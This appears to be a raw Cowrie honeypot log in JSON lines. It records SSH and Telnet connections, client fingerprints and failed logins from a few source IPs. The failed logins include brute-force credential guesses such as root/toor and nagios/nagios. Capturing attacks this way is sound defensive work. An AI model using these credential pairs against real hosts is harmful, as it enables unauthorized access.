{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:27.352802Z","src_ip":"192.109.200.237","session":"faad920fc13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39888,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4fa8450500","protocol":"ssh","message":"New connection: 192.109.200.237:39888 (159.203.135.109:22) [session: 5d4fa8450500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:29.364318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:29.367668Z","src_ip":"192.109.200.237","session":"5d4fa8450500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:29.451671Z","src_ip":"192.109.200.237","session":"5d4fa8450500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:29.697718Z","src_ip":"192.109.200.237","session":"5d4fa8450500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.86665415763855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:30.449336Z","src_ip":"50.6.8.71","session":"54dc279b96e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.69714951515198,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:30.453440Z","src_ip":"50.6.8.71","session":"5a0c42ba3bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49448,"dst_ip":"10.17.0.5","dst_port":23,"session":"5533126178fa","protocol":"telnet","message":"New connection: 50.6.8.71:49448 (10.17.0.5:23) [session: 5533126178fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:30.536970Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:30.941892Z","src_ip":"192.109.200.237","session":"5d4fa8450500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.71086001396179,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:31.087585Z","src_ip":"50.6.8.71","session":"d0ee1840b219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ee249b0db07","protocol":"telnet","message":"New connection: 20.203.115.219:32964 (10.17.0.5:23) [session: 5ee249b0db07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:32.709811Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57532,"dst_ip":"159.203.135.109","dst_port":22,"session":"62baba92dfdb","protocol":"ssh","message":"New connection: 192.109.200.237:57532 (159.203.135.109:22) [session: 62baba92dfdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:32.770822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:32.774669Z","src_ip":"192.109.200.237","session":"62baba92dfdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:32.859628Z","src_ip":"192.109.200.237","session":"62baba92dfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:33.111468Z","src_ip":"192.109.200.237","session":"62baba92dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:34.196980Z","src_ip":"192.109.200.237","session":"62baba92dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49464,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e83213815d","protocol":"telnet","message":"New connection: 50.6.8.71:49464 (10.17.0.5:23) [session: 05e83213815d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:34.571193Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57546,"dst_ip":"159.203.135.109","dst_port":22,"session":"238ed2a7982e","protocol":"ssh","message":"New connection: 192.109.200.237:57546 (159.203.135.109:22) [session: 238ed2a7982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:36.389915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:36.394918Z","src_ip":"192.109.200.237","session":"238ed2a7982e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:36.476963Z","src_ip":"192.109.200.237","session":"238ed2a7982e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:36.720808Z","src_ip":"192.109.200.237","session":"238ed2a7982e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:37.805107Z","src_ip":"192.109.200.237","session":"238ed2a7982e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57566,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2fe49695af9","protocol":"ssh","message":"New connection: 192.109.200.237:57566 (159.203.135.109:22) [session: b2fe49695af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:39.791458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:39.901929Z","src_ip":"192.109.200.237","session":"b2fe49695af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:39.983732Z","src_ip":"192.109.200.237","session":"b2fe49695af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:40.230811Z","src_ip":"192.109.200.237","session":"b2fe49695af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:41.375289Z","src_ip":"192.109.200.237","session":"b2fe49695af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.511433839797974,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:43.221153Z","src_ip":"20.203.115.219","session":"5ee249b0db07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46480,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48fda55f29d","protocol":"ssh","message":"New connection: 192.109.200.237:46480 (159.203.135.109:22) [session: f48fda55f29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:43.232222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:43.236561Z","src_ip":"192.109.200.237","session":"f48fda55f29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:43.317923Z","src_ip":"192.109.200.237","session":"f48fda55f29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:43.562552Z","src_ip":"192.109.200.237","session":"f48fda55f29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:44.646615Z","src_ip":"192.109.200.237","session":"f48fda55f29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9926d34ead9","protocol":"telnet","message":"New connection: 50.6.8.71:49952 (10.17.0.5:23) [session: d9926d34ead9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:46.025573Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7ba3c786b6","protocol":"telnet","message":"New connection: 50.6.8.71:43856 (10.17.0.5:23) [session: 4f7ba3c786b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:46.728377Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46494,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a61e4f7aff","protocol":"ssh","message":"New connection: 192.109.200.237:46494 (159.203.135.109:22) [session: 17a61e4f7aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:46.770025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:46.774864Z","src_ip":"192.109.200.237","session":"17a61e4f7aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:46.857553Z","src_ip":"192.109.200.237","session":"17a61e4f7aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:47.104743Z","src_ip":"192.109.200.237","session":"17a61e4f7aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:48.189174Z","src_ip":"192.109.200.237","session":"17a61e4f7aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"1338dada5270","protocol":"ssh","message":"New connection: 192.109.200.237:48722 (159.203.135.109:22) [session: 1338dada5270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:50.225504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:50.229460Z","src_ip":"192.109.200.237","session":"1338dada5270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:50.311222Z","src_ip":"192.109.200.237","session":"1338dada5270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:50.557350Z","src_ip":"192.109.200.237","session":"1338dada5270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:51.675969Z","src_ip":"192.109.200.237","session":"1338dada5270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43866,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f215d645227","protocol":"telnet","message":"New connection: 50.6.8.71:43866 (10.17.0.5:23) [session: 0f215d645227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:53.259649Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48732,"dst_ip":"159.203.135.109","dst_port":22,"session":"90af32ad241a","protocol":"ssh","message":"New connection: 192.109.200.237:48732 (159.203.135.109:22) [session: 90af32ad241a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:53.630594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:53.634197Z","src_ip":"192.109.200.237","session":"90af32ad241a","protocol":"ssh"}
